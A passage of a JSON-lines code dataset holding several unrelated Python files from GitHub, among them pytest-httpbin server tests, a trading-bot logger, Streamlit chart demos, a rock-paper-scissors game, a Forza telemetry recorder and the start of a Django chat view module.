Median.py","file_ext":"py","file_size_in_byte":4869,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"34056908396","text":"import contextlib\nimport os\nimport re\nimport socket\n\nimport pytest\nimport requests.exceptions\nfrom httpbin import app as httpbin_app\nfrom util import get_raw_http_response\n\nfrom pytest_httpbin import serve\n\n\ndef test_content_type_header_not_automatically_added(httpbin):\n \"\"\"\n The server was automatically adding this for some reason, see issue #5\n \"\"\"\n resp = requests.get(httpbin + \"/headers\").json()[\"headers\"]\n assert \"Content-Type\" not in resp\n\n\ndef test_unicode_data(httpbin):\n \"\"\"\n UTF-8 was not getting recognized for what it was and being encoded as if it\n was binary, see issue #7\n \"\"\"\n resp = requests.post(\n httpbin + \"/post\",\n data=\"оживлённым\".encode(),\n headers={\n \"content-type\": \"text/html; charset=utf-8\",\n },\n )\n assert resp.json()[\"data\"] == \"оживлённым\"\n\n\ndef test_server_should_be_http_1_1(httpbin):\n \"\"\"\n The server should speak HTTP/1.1 since we live in the future, see issue #6\n \"\"\"\n resp = get_raw_http_response(httpbin.host, httpbin.port, \"/get\")\n assert resp.startswith(b\"HTTP/1.1\")\n\n\ndef test_dont_crash_on_certificate_problems(httpbin_secure):\n with pytest.raises(requests.exceptions.SSLError):\n # this request used to hang\n requests.get(httpbin_secure + \"/get\", verify=True, cert=__file__)\n\n # and this request would never happen\n requests.get(\n httpbin_secure + \"/get\",\n verify=True,\n )\n\n\ndef test_dont_crash_on_handshake_timeout(httpbin_secure, capsys):\n with socket.socket() as sock:\n sock.connect((httpbin_secure.host, httpbin_secure.port))\n # this request used to hang\n assert sock.recv(1) == b\"\"\n\n assert (\n re.match(\n r\"pytest-httpbin server hit an exception serving request:.* The \"\n \"handshake operation timed out\\nattempting to ignore so the rest \"\n \"of the tests can run\\n\",\n capsys.readouterr().out,\n )\n is not None\n )\n\n # and this request would never happen\n requests.get(\n httpbin_secure + \"/get\",\n verify=True,\n )\n\n\n@pytest.mark.parametrize(\"protocol\", (\"http\", \"https\"))\ndef test_fixed_port_environment_variables(protocol):\n \"\"\"\n Note that we cannot test the fixture here because it is session scoped\n and was already started. Thus, let's just test a new Server instance.\n \"\"\"\n if protocol == \"http\":\n server_cls = serve.Server\n envvar = \"HTTPBIN_HTTP_PORT\"\n elif protocol == \"https\":\n server_cls = serve.SecureServer\n envvar = \"HTTPBIN_HTTPS_PORT\"\n else:\n raise RuntimeError(f\"Unexpected protocol param: {protocol}\")\n\n # just have different port to avoid adrress already in use\n # if the second test run too fast after the first one (happens on pypy)\n port = 12345 + len(protocol)\n server = contextlib.nullcontext()\n\n try:\n envvar_original = os.environ.get(envvar, None)\n os.environ[envvar] = str(port)\n server = server_cls(application=httpbin_app)\n assert server.port == port\n finally:\n # if we don't do this, it blocks:\n with server:\n pass\n\n # restore the original environ:\n if envvar_original is None:\n del os.environ[envvar]\n else:\n os.environ[envvar] = envvar_original\n\n\ndef test_redirect_location_is_https_for_secure_server(httpbin_secure):\n assert httpbin_secure.url.startswith(\"https://\")\n response = requests.get(\n httpbin_secure + \"/redirect-to?url=/html\", allow_redirects=False\n )\n assert response.status_code == 302\n assert response.headers.get(\"Location\")\n assert response.headers[\"Location\"] == \"/html\"\n","repo_name":"kevin1024/pytest-httpbin","sub_path":"tests/test_server.py","file_name":"test_server.py","file_ext":"py","file_size_in_byte":3728,"program_lang":"python","lang":"en","doc_type":"code","stars":185,"dataset":"github-code","pt":"72"} +{"seq_id":"40356769860","text":"import logging\nimport os\nimport sys\nfrom datetime import datetime\n\n\nclass BotLogger(object):\n def __init__(self, log_file, log_level):\n self._create_logger(log_file, log_level)\n self.log_history = {\n 'info': [],\n 'debug': [],\n 'past_orders': [],\n 'open_orders': [],\n 'production_last_price': 0\n }\n self.number_of_log_history_to_keep = 10\n self.seconds_between_log_refresh = 1\n self.last_refreshed = datetime.now()\n\n def _create_logger(self, log_file, log_level):\n self.logger = logging.getLogger(log_file)\n ch = logging.StreamHandler(sys.stdout)\n self.logger.addHandler(ch)\n\n if log_level == \"INFO\":\n self.logger.setLevel(logging.INFO)\n elif log_level == \"ERROR\":\n self.logger.setLevel(logging.ERROR)\n elif log_level == \"DEBUG\":\n self.logger.setLevel(logging.DEBUG)\n return self.logger\n\n def construct_output(self):\n os.system('cls' if os.name == 'nt' else 'clear')\n self.logger.info('LAST PRICE')\n self.logger.info(self.log_history['production_last_price'])\n self.logger.info('')\n\n self.logger.info('-' * 50)\n self.logger.info('OPEN ORDERS')\n self.logger.info(\"bids:\")\n for bid in self.log_history['open_orders']['bids']:\n self.logger.info(bid)\n self.logger.info(\"asks:\")\n for ask in self.log_history['open_orders']['asks']:\n self.logger.info(ask)\n self.logger.info('')\n\n self.logger.info('-' * 50)\n self.logger.info(\n f'LAST {self.number_of_log_history_to_keep} LOG MESSAGES')\n for msg in self.log_history['info']:\n self.logger.info(msg)\n\n for msg in self.log_history['debug']:\n self.logger.debug(msg)\n self.logger.info('')\n\n self.logger.info('-' * 50)\n self.logger.info(\n f'LAST {self.number_of_log_history_to_keep} PAST ORDERS')\n for order in self.log_history['past_orders']:\n self.logger.info(order)\n\n self.last_refreshed = datetime.now()\n\n def update(self, type, msg):\n if type == 'production_last_price':\n self.log_history['production_last_price'] = msg\n elif type == 'open_orders':\n self.log_history['open_orders'] = msg\n elif type == 'info' or type == 'debug':\n self.log_history[type].append(\n f\"{datetime.now().strftime('%m/%d/%Y, %H:%M:%S')} - {msg}\")\n self.log_history[type] = \\\n self.log_history[type][-self.number_of_log_history_to_keep:]\n else:\n self.log_history[type].append(msg)\n self.log_history[type] = \\\n self.log_history[type][-self.number_of_log_history_to_keep:]\n\n if (datetime.now() - self.last_refreshed).seconds > self.seconds_between_log_refresh:\n self.construct_output()\n\n\nlogger = BotLogger('TestnetMM', \"INFO\")\n","repo_name":"joshteng/binance-testnet-liquidity-provider","sub_path":"bot/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":3007,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"19686554398","text":"from flask_restplus import fields\nfrom server.instance import server\n\n\nitem = server.api.model('Item',\n {\n 'name': fields.String(required=True, min_length=1, max_length=200, description='Item name'),\n 'price': fields.Float(description='Price')\n }\n)","repo_name":"mrfarhan20/sample-python-app","sub_path":"src/models/item.py","file_name":"item.py","file_ext":"py","file_size_in_byte":274,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"27151137621","text":"#coding=utf-8\n\n# 需要先用docker 部署 splash 服务, command: docker run -d -p 8050:8050 scrapinghub/splash(本地部署, 也可以远程服务器部署)\n\nimport requests\n\n\n# 获取浏览器渲染之后的源代码\nsplash_env = 'http://localhost:8050/render.html?url='\nurl = 'https:/www.baidu.com'\nURL = splash_env + url\n\nresp = requests.get(URL)\nprint(resp.text)\n\n\n# 等待时长, 可以用于加载的等待时间设置\nurl = 'https://www.taobao.com'\nwait = '&wait=5'\nURL = splash_env + url + wait\n\nresp = requests.get(URL)\nprint(resp.text)\n\n\n# 以 Json 格式返回请求的信息\nsplash_env = 'http://localhost:8050/render.json?url='\nurl = 'https://www.taobao.com'\nwait = '&wait=5'\nURL = splash_env + url + wait\n\nresp = requests.get(URL)\nprint(resp.text)\n\n\n# 实现交互操作的神技能!!!!\n\nfrom urllib.parse import quote\n\n# 定义一个脚本\nlua = '''\nfunction main(splash)\n\treturn 'hello'\nend\n'''\nsplash_env = 'http://localhost:8050/execute?lua_source='\n\nURL = splash_env + quote(lua)\n\nresp = requests.get(URL)\nprint(resp.text)\n\n","repo_name":"caineleee/crawler_Example","sub_path":"splash_examples/splash_exmaples.py","file_name":"splash_exmaples.py","file_ext":"py","file_size_in_byte":1045,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"2228005165","text":"import random\n\nrock = '''\n _______\n---' ____)\n (_____)\n (_____)\n (____)\n---.__(___)\n'''\n\npaper = '''\n _______\n---' ____)____\n ______)\n _______)\n _______)\n---.__________)\n'''\n\nscissors = '''\n _______\n---' ____)____\n ______)\n __________)\n (____)\n---.__(___)\n'''\n\noptions = [rock, paper, scissors]\ncomputer_choice_index = random.randint(0, 2)\ncomputer_choice = options[computer_choice_index]\n\nprint(\"\\n=====================================================================\\n\"\n \"Let's play Rock 🥌, Paper 📜 and Scissor ✂!\")\n\nplayer_choice = int(input(\"\\nType '1' for Rock, '2' for Paper, '3' for Scissor ==> \"))\n\nprint(f\"\\n\\t\\tYou Choose \\n\\t\\t{options[player_choice - 1]}\")\n\nprint(f\"\\n\\t\\tComputer Chose \\n\\t\\t{options[computer_choice_index]}\")\n\nresult = \"\"\nif computer_choice_index == 0: # Rock\n if player_choice == 1: # Rock\n result = \"Meh! Nobody wins\"\n elif player_choice == 2: # Paper\n result = \"Woohoo! You win!\"\n elif player_choice == 3: # Scissor\n result = \"You lose! Your scissor just got destroyed by THE ROCK\"\n else:\n raise Exception(\"CHOOSE ONLY FROM 123\")\n\nelif computer_choice_index == 1: # Paper\n if player_choice == 2: # Rock\n result = \"Meh! Nobody wins\"\n elif player_choice == 3: # Scissor\n result = \"Woohoo! You win!\"\n elif player_choice == 1: # Rock\n result = \"You lose! Your rock got dusted by my Paper!\"\n else:\n raise Exception(\"CHOOSE ONLY FROM 123\")\n\nelse: # Scissor\n if player_choice == 3: # Scissor\n result = \"Meh! Nobody wins\"\n elif player_choice == 1: # Rock\n result = \"Woohoo! You win!\"\n elif player_choice == 2: # Paper\n result = \"You lose! I tore your paper into pieces\"\n else:\n raise Exception(\"CHOOSE ONLY FROM 123\")\n\nprint(\"****************************************************************************\\n\\t\\t\\t\\t\\t\"\n \"\\t\" +\n result +\n \"\\n****************************************************************************\")\n","repo_name":"sypai/100DaysOfPython","sub_path":"Day4/rock_paper_scissor.py","file_name":"rock_paper_scissor.py","file_ext":"py","file_size_in_byte":2079,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"44153675447","text":"import logging\n\nfrom core.controller import BaseController\nfrom core.messages.translator.messages_keys import MessagesKeys\nfrom core.result.failure.not_found_job import JobNotFound\nfrom persistence.database.entity.job_.job import Job\n\nlogger = logging.getLogger(__name__)\nlogging.basicConfig(level=logging.INFO)\n\n\nclass ListPayableJob(BaseController):\n def __init__(self, car_owner_id, converter):\n self.converter = converter\n self.car_owner_id = car_owner_id\n # self.car_id = car_id\n\n def execute(self):\n error_free, result = Job.find(car_owner_id=self.car_owner_id)\n if not error_free:\n dct = result.dictionary_creator()\n return self.serialize(dct, self.converter)\n if result:\n error_free, payable_job = self._payable_job()\n if not error_free:\n dct = payable_job.dictionary_creator()\n return self.serialize(dct, converter=self.converter)\n\n # if payable_job ro check konam?\n\n dct = payable_job.dictionary_creator()\n return self.serialize(dct, converter=self.converter)\n\n else:\n is_busy = JobNotFound(status=404, message=MessagesKeys.NOT_FOUND_JOB, params=None)\n dct = is_busy.dictionary_creator()\n return self.serialize(dct, self.converter)\n\n # return False,\n\n def _payable_job(self):\n return Job.find_all_payable_job(car_owner_id=self.car_owner_id)\n","repo_name":"afsaneh92/dr_autol","sub_path":"core/controller/car_owner/job/list_payable_job.py","file_name":"list_payable_job.py","file_ext":"py","file_size_in_byte":1466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"41876267467","text":"try:\n a=int(input(\"Enter the first number: \"))\n b=int(input(\"Enter the second number: \"))\n print(a/b)\nexcept ZeroDivisionError:\n print(\"You have tried to divide by zero!\")\nelse:\n print(\"You didn’t divide by zero. Well done!\")\n\ntry:\n txt = open(\"d:/textfile.txt\", \"r\")\n txt.write(\"This is a test. Normal service will shortly resume!\")\nexcept IOError:\n print (\"Error: unable to write the file. Check permissions\")\nelse:\n print (\"Content written to file successfully. Have a nice day.\")\ntxt.close()\n","repo_name":"ypeiju/tensroflow-Rodolfo.Bonnin-example","sub_path":"python-learing/27tyCode.py","file_name":"27tyCode.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"28307014387","text":"import os\nimport socket\nimport sys\n\n# Add the parent directory to our path\nsys.path.append(os.path.abspath('..'))\n\nfrom util.data_packet import DataPacket\n\n# Handles the execution of receiving/parsing to leave\n# the main process unblocked\ndef worker(packets, game_version, host, port):\n # Create an ipv4 datagram-based socket and bind\n sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n sock.bind((host, port))\n\n # Instantiate class and variables\n dp = DataPacket(version=game_version)\n\n # Loop indefinitely until finished\n while True:\n # Receive a data packet from Forza\n packet, _ = sock.recvfrom(1024)\n\n # Parse this packet, however, don't convert values\n dp.parse(packet, recording = True)\n\n # Append this packet to the shared list\n packets.append(dp.to_dict().values())\n\n # If the loop exits, close the socket if necessary\n sock.close()","repo_name":"makvoid/Blog-Articles","sub_path":"Forza-Telemetry/workers/recorder.py","file_name":"recorder.py","file_ext":"py","file_size_in_byte":916,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"72"} +{"seq_id":"43213095342","text":"import streamlit as st # 프레임 워크\n# 프레임워크란? \n# 툴에서 정해진 규칙에 따라 사용가능한 것\nimport pandas as pd\n\n\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\n# 기본 형식\ndef main():\n st.title('차트 데시보드')\n df = pd.read_csv('data/iris.csv')\n\n st.dataframe(df)\n\n # sepal_length, sepal_width 의 관계를 차트로 \n fig = plt.figure() # 차트 영역 표시\n plt.scatter(\n data=df,\n x='sepal_length',\n y='sepal_width',\n )\n plt.title('sepal length vs width')\n plt.xlabel('length')\n plt.ylabel('width')\n st.pyplot(fig)\n \n\n fig2 = plt.figure()\n sns.regplot( # 리그레이션 데이터 피팅 선을 찾는다.\n data=df,\n x='sepal_length',\n y='sepal_width',\n )\n st.pyplot(fig2)\n\n # 상관관계 표시\n correlation = df[['sepal_length', 'sepal_width']].corr()\n st.dataframe(correlation) #그래프가 아니라 dataframe이다.\n\n # sepal_length 히스토그램 그리자.\n # bin의 갯수는 20개 (범위)\n fig3 = plt.figure(figsize=(10, 4))\n plt.subplot(1, 2, 1)\n # 1행 2열의 그래프를 만들고 1번째에 그래프를 그리겠다.\n plt.hist(\n data = df,\n x = 'sepal_length',\n rwidth=0.8, #막대 크기 조절\n bins=20\n )\n plt.subplot(1, 2, 2)\n plt.hist(\n data = df,\n x = 'sepal_length',\n rwidth=0.8, #막대 크기 조절\n bins=10\n )\n st.pyplot(fig3)\n\n # species 컬럼에는 종에 대한 정보가 들어있는데,\n # 각 종 별로 몇개씩 데이터가 있는지, 차트로 나타내시오.\n st.dataframe(df['species'].value_counts())\n fig4 = plt.figure()\n sns.countplot(\n data = df,\n x = 'species'\n )\n st.pyplot(fig4)\n\n\n # 데이터 프레임의 차트 그리는 코드도 실행 가능\n fig5 = plt.figure()\n df['species'].value_counts().plot(kind='bar')\n st.pyplot(fig5)\n\n\n # 데이터 프레임 자체 plot 함수는 스트림릿에서 안된다.\n # fig6 = plt.figure()\n # df.plot() # 주피터에서는 사용가능하지만, 여기서는 안됨\n # st.pyplot(fig6)\n \n fig7 = plt.figure()\n df['sepal_length'].hist()\n st.pyplot(fig7)\n\n \n\nif __name__ == '__main__':\n main()","repo_name":"wonjun12/_AI_Study_","sub_path":"Streeamlit_Study/app9.py","file_name":"app9.py","file_ext":"py","file_size_in_byte":2313,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"72587179433","text":"import noise\nimport numpy as np\nimport random as rand\nimport matplotlib.pyplot as plt\nfrom PIL import Image\n\nsize = 1024\nscale = 100.0\noctaves = 6\npersistence = 0.5\nlacunarity = 2.0\n\nbase = rand.randint(0,1)\n\nworld = np.zeros(size)\nfor i in range(size):\n world[i] = noise.pnoise1(i/scale, \n octaves=octaves, \n persistence=persistence, \n lacunarity=lacunarity, \n repeat=1024, \n base=base)\n world[i] = (world[i]+0.5) * 255\n \nplt.plot(range(size), world)\nplt.show()","repo_name":"dangulos/random-music","sub_path":"perlin1D.py","file_name":"perlin1D.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"35519964247","text":"import sys\nimport os\nimport codecs\n\nfrom setuptools import setup, find_packages\nfrom setuptools.command.test import test as TestCommand\n\n\ndef rc_value():\n with open('version') as fp:\n val = fp.read().rstrip()\n return '{}rc0'.format(val)\n\n\ndef version():\n return os.getenv('TRAVIS_TAG', rc_value())\n\n\nclass Tox(TestCommand):\n\n def finalize_options(self):\n TestCommand.finalize_options(self)\n self.test_args = []\n self.test_suite = True\n\n def run_tests(self):\n # import here, cause outside the eggs aren't loaded\n import tox\n errno = tox.cmdline(self.test_args)\n sys.exit(errno)\n\nwith codecs.open('README.rst', encoding='utf-8') as f:\n README = f.read()\n\nwith codecs.open('CHANGELOG.rst', encoding='utf-8') as f:\n CHANGELOG = f.read()\n\nrequirements = None\nwith open('requirements.txt', 'r') as f:\n requirements = [line.rstrip()\n for line in f.readlines() if not line.startswith('-')]\n\nrequirements_test = None\nwith open('requirements-test.txt', 'r') as f:\n requirements_test = [line.rstrip() for line in f.readlines()\n if not line.startswith('-')]\n\nsetup(\n name='pypuppetdb',\n version=version(),\n author='Vox Pupuli',\n author_email='voxpupuli@groups.io',\n packages=find_packages(),\n url='https://github.com/voxpupuli/pypuppetdb',\n license='Apache License 2.0',\n description='Library for working with the PuppetDB REST API.',\n long_description='\\n'.join((README, CHANGELOG)),\n long_description_content_type='text/x-rst',\n keywords='puppet puppetdb',\n tests_require=requirements_test,\n cmdclass={'test': Tox},\n install_requires=requirements,\n classifiers=[\n 'Development Status :: 4 - Beta',\n 'Intended Audience :: Developers',\n 'Natural Language :: English',\n 'License :: OSI Approved :: Apache Software License',\n 'Operating System :: POSIX',\n 'Programming Language :: Python :: 2',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.3',\n 'Programming Language :: Python :: 3.4',\n 'Programming Language :: Python :: 3.5',\n 'Programming Language :: Python :: 3.6',\n 'Topic :: Software Development :: Libraries'\n ],\n )\n","repo_name":"tylerjrich/pypuppetdb","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"72"} +{"seq_id":"13956709047","text":"from django.db import models\nfrom django.contrib.auth.models import User\nfrom shortuuidfield import ShortUUIDField\nfrom django.db.models import Avg\nimport datetime\n\n\ndef current_meal_models():\n int_to_day = {\n 0: 'Monday', 1: 'Tuesday', 2: 'Wednesday', 3: 'Thursday', 4: 'Friday', 5: 'Saturday', 6: 'Sunday'\n }\n day = int_to_day[datetime.datetime.today().weekday()]\n if datetime.datetime.now().time().hour < 10 or (\n datetime.datetime.now().time().hour == 10 and datetime.datetime.now().time().minute <= 30):\n meal = 'Breakfast'\n elif datetime.datetime.now().time().hour <= 14 and datetime.datetime.now().time().minute <= 0:\n meal = 'Lunch'\n else:\n meal = 'Dinner'\n return f'{day} {meal}'\n\n\nclass Servery(models.Model):\n uuid = ShortUUIDField(primary_key=True)\n slug = models.SlugField(unique=True)\n name = models.CharField(max_length=40)\n image = models.URLField(max_length=250)\n open_friday_dinner = models.BooleanField(default=True)\n open_saturday_breakfast = models.BooleanField(default=True)\n open_saturday_lunch = models.BooleanField(default=True)\n open_saturday_dinner = models.BooleanField(default=True)\n open_sunday_breakfast = models.BooleanField(default=True)\n open_sunday_lunch = models.BooleanField(default=True)\n open_sunday_dinner = models.BooleanField(default=True)\n\n class Meta:\n verbose_name_plural = 'Serveries'\n ordering = ['name']\n\n def __str__(self):\n return self.name\n\n @property\n def open_now(self):\n if current_meal_models() == 'Friday Dinner':\n return self.open_friday_dinner\n elif current_meal_models() == 'Saturday Breakfast':\n return self.open_saturday_breakfast\n elif current_meal_models() == 'Saturday Lunch':\n return self.open_saturday_lunch\n elif current_meal_models() == 'Saturday Dinner':\n return self.open_saturday_dinner\n elif current_meal_models() == 'Sunday Breakfast':\n return self.open_sunday_breakfast\n elif current_meal_models() == 'Sunday Lunch':\n return self.open_sunday_lunch\n elif current_meal_models() == 'Sunday Dinner':\n return self.open_sunday_dinner\n else:\n return True\n\n @property\n def current_meal(self):\n if self.open_now:\n meals = Meal.objects.filter(servery=self, meal_date=datetime.date.today())\n for meal in meals.order_by('meal_end_time'):\n if datetime.datetime.now().time() <= meal.meal_end_time:\n return meal\n return meals.last()\n\n @property\n def current_dishes(self):\n return DishAppearance.objects.filter(meal=self.current_meal)\n\n @property\n def highest_rated_current_item(self):\n srtd = sorted(self.current_dishes, key=lambda x: x.average_stars, reverse=True)\n if len(srtd) > 0:\n return srtd[0]\n else:\n return None\n\n\nclass Dish(models.Model):\n uuid = ShortUUIDField(primary_key=True)\n name = models.CharField(max_length=100)\n image = models.URLField(max_length=250, blank=True, null=True,\n help_text='Enter a link to an image hosted on the internet')\n eggs = models.BooleanField(default=False)\n fish = models.BooleanField(default=False)\n gluten = models.BooleanField(default=False)\n milk = models.BooleanField(default=False)\n peanuts = models.BooleanField(default=False)\n shellfish = models.BooleanField(default=False)\n soy = models.BooleanField(default=False)\n tree_nuts = models.BooleanField(default=False)\n vegan = models.BooleanField(default=False)\n vegetarian = models.BooleanField(default=False)\n\n def __str__(self):\n return self.name\n\n\nclass Meal(models.Model):\n meal_choices = (\n ('Breakfast', 'Breakfast'),\n ('Lunch', 'Lunch'),\n ('Dinner', 'Dinner'),\n )\n uuid = ShortUUIDField(primary_key=True)\n servery = models.ForeignKey(Servery, on_delete=models.CASCADE)\n meal_type = models.CharField(choices=meal_choices, max_length=10)\n meal_date = models.DateField()\n meal_start_time = models.TimeField()\n meal_end_time = models.TimeField()\n\n def __str__(self):\n return f'{self.servery.name} {self.meal_type} on {self.meal_date.strftime(\"%b %d, %Y\")}'\n\n\nclass DishAppearance(models.Model):\n uuid = ShortUUIDField(primary_key=True)\n dish = models.ForeignKey(Dish, on_delete=models.CASCADE)\n meal = models.ForeignKey(Meal, on_delete=models.CASCADE)\n\n def __str__(self):\n return f'{self.dish} {self.meal}'\n\n @property\n def reviews(self):\n return Review.objects.filter(dish_appearance=self)\n\n @property\n def average_stars(self):\n stars_list = self.reviews.values_list('stars', flat=True)\n if len(stars_list) == 0:\n return 0\n else:\n return sum(stars_list) / len(stars_list)\n\n @property\n def review_count(self):\n return self.reviews.count()\n\n @property\n def overall_star_list(self):\n appearances = DishAppearance.objects.filter(dish=self.dish)\n stars_list = []\n for appearance in appearances:\n reviews = Review.objects.filter(dish_appearance=appearance)\n stars_list += reviews.values_list('stars', flat=True)\n return stars_list\n\n @property\n def overall_rating_count_average(self):\n stars_list = self.overall_star_list\n return_dict = {'count': len(stars_list)}\n if len(stars_list) == 0:\n return_dict['average'] = 0\n else:\n return_dict['average'] = sum(stars_list) / len(stars_list)\n return return_dict\n\n @property\n def overall_stars(self):\n return self.overall_rating_count_average['average']\n\n @property\n def overall_review_count(self):\n return len(self.overall_star_list)\n\n\nclass Review(models.Model):\n uuid = ShortUUIDField(primary_key=True)\n dish_appearance = models.ForeignKey(DishAppearance, on_delete=models.CASCADE)\n user = models.ForeignKey(User, on_delete=models.CASCADE)\n stars = models.IntegerField()\n review_datetime = models.DateTimeField(auto_now_add=True)\n review_text = models.TextField(null=True, blank=True)\n","repo_name":"AidanG1/snackRice","sub_path":"main/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":6285,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"} +{"seq_id":"4702528007","text":"import numpy as np\nimport astropy.units as u\n\nimport sys\nimport os\n\nif sys.version_info[0] < 3:\n from urllib2 import urlopen as _urlopen\nelse:\n from urllib.request import urlopen as _urlopen\n\nimport json as _json\n\ntry:\n basestring = basestring\nexcept NameError:\n basestring = str\n\nclass Alias(object):\n def __init__(self, dict):\n self._dict = dict\n\n def map(self, key):\n return self._dict.get(key, key)\n\n\n# https://matplotlib.org/examples/color/named_colors.html\n# technically some of these (y, c, and m) don't exactly match, but as they \"mean\"\n# the same thing, we'll handle the alias anyways\n# Convention: always map to the spelled name and gray over grey\ncoloralias = Alias({'k': 'black', 'dimgrey': 'dimgray', 'grey': 'gray',\n 'darkgrey': 'darkgray', 'lightgrey': 'lightgray',\n 'w': 'white', 'r': 'red', 'y': 'yellow', 'g': 'green',\n 'c': 'cyan', 'b': 'blue', 'm': 'magenta'})\n\n# Convention: always map to the spelled name\nlinestylealias = Alias({'_': 'solid', '--': 'dashed', ':': 'dotted',\n '-.': 'dashdot'})\n\nclass Group(object):\n def __init__(self, baseclass, reprlist, items):\n if not isinstance(items, list):\n raise TypeError(\"items must be of type list of {} objects\".format(baseclass.__name__))\n\n # handle the case of unpacking nested groups (NOTE: only 1 deep)\n items_flatten = []\n for item in items:\n if isinstance(item, Group):\n for groupitem in item._items:\n items_flatten.append(groupitem)\n else:\n items_flatten.append(item)\n\n for item in items_flatten:\n if not isinstance(item, baseclass):\n raise TypeError(\"each item in items must be of type {}\".format(baseclass.__name__))\n\n self._baseclass = baseclass\n self._items = items_flatten\n self._reprlist = reprlist\n\n def __repr__(self):\n info = \" | \".join([\"{}s: {}\".format(attr,\n \", \".join(getattr(self, attr)))\n for attr in self._reprlist])\n\n return \"<{} | {} items | {}>\".format(self.__class__.__name__, len(self), info)\n\n # @classmethod\n # def from_dict(cls, dict):\n # return cls(**dict)\n #\n # def to_dict(self):\n # return {'baseclass': self._baseclass,\n # 'items': self._items,\n # 'reprlist': self._reprlist}\n\n def __getitem__(self, ind):\n return self._items.__getitem__(ind)\n\n def __iter__(self):\n return iter(self._items)\n\n def __len__(self):\n return len(self._items)\n\n def _get_attrs(self, attr):\n return [getattr(d, attr) for d in self._items]\n\n def _set_attrs(self, attr, value):\n for d in self._items:\n setattr(d, attr, value)\n\n\ndef _convert_unit(unit):\n if unit is None:\n unit = u.dimensionless_unscaled\n\n if isinstance(unit, basestring):\n unit = u.Unit(unit)\n\n if not (isinstance(unit, u.Unit) or isinstance(unit, u.CompositeUnit) or isinstance(unit, u.IrreducibleUnit)):\n raise TypeError(\"unit must be of type Unit, got: {}\".format(unit))\n\n return unit\n\ndef tolist(value):\n if isinstance(value, np.ndarray):\n return value.tolist()\n else:\n return [value]\n\ndef arraytolistrecursive(value):\n if hasattr(value, '__iter__') and not isinstance(value, str):\n return [arraytolistrecursive(v) for v in value]\n else:\n return value\n\ndef _bytes(s):\n if sys.version_info[0] == 3:\n return bytes(s, 'utf-8')\n else:\n return bytes(s)\n\ndef _json_safe(item):\n if isinstance(item, np.ndarray):\n return arraytolistrecursive(item)\n elif isinstance(item, dict):\n return {k: _json_safe(v) for k,v in item.items()}\n else:\n return item\n\ndef _parse_json(pairs):\n \"\"\"\n modified from:\n https://stackoverflow.com/questions/956867/how-to-get-string-objects-instead-of-unicode-from-json#34796078\n\n pass this to the object_pairs_hook kwarg of json.load/loads\n \"\"\"\n def _string(item):\n if isinstance(item, bytes):\n # return item.decode('utf-8')\n return _bytes(item)\n elif sys.version_info[0] == 2 and isinstance(item, unicode):\n return item.encode('utf-8')\n else:\n return item\n\n new_pairs = []\n for key, value in pairs:\n key = _string(key)\n\n if isinstance(value, dict):\n value = _parse_json(value.items())\n elif isinstance(value, list):\n value = [_string(v) for v in value]\n else:\n value = _string(value)\n\n new_pairs.append((key, value))\n return dict(new_pairs)\n\ndef save(dict, filename):\n filename = os.path.expanduser(filename)\n f = open(filename, 'w')\n _json.dump(dict, f,\n sort_keys=False, indent=0)\n\n f.close()\n\n return filename\n\ndef load(filename):\n if filename[:4] == 'http':\n resp = _urlopen(filename)\n dict = _json.loads(resp.read(), object_pairs_hook=_parse_json)\n else:\n filename = os.path.expanduser(filename)\n f = open(filename, 'r')\n dict = _json.load(f, object_pairs_hook=_parse_json)\n f.close()\n\n return dict\n\ndimensions = ['i', 'x', 'y', 'z', 's', 'c']\n\nglobal _inline\n_inline = False\n","repo_name":"phoebe-project/phoebe2","sub_path":"phoebe/dependencies/autofig/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":5367,"program_lang":"python","lang":"en","doc_type":"code","stars":66,"dataset":"github-code","pt":"72"} +{"seq_id":"3359335691","text":"from django.shortcuts import get_object_or_404, redirect, render\nfrom django.core.paginator import Paginator, EmptyPage\nfrom django.http import Http404\nfrom django.views import generic\nfrom django.contrib import messages\nfrom django.http import JsonResponse\nfrom django.template.loader import render_to_string\nfrom django.core.urlresolvers import reverse, reverse_lazy\nimport textwrap\nfrom datetime import datetime\nfrom django.utils import formats\nfrom django.utils.html import strip_tags\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.contrib.auth.decorators import login_required\nfrom django.db.models import Q\n\nfrom amadeus.permissions import has_subject_view_permissions\n\nfrom channels import Group\nimport json\n\nfrom log.models import Log\nfrom log.mixins import LogMixin\nimport time\n\nfrom categories.models import Category\nfrom subjects.models import Subject\nfrom users.models import User\n\nfrom api.utils import sendChatPushNotification\n\nfrom .models import Conversation, TalkMessages, ChatVisualizations, ChatFavorites\nfrom .forms import ChatMessageForm\nfrom utils.image import image_resize\n\n\nclass GeneralIndex(LoginRequiredMixin, LogMixin, generic.ListView):\n log_component = \"chat\"\n log_action = \"view\"\n log_resource = \"general\"\n log_context = {}\n\n login_url = reverse_lazy(\"users:login\")\n redirect_field_name = \"next\"\n\n template_name = 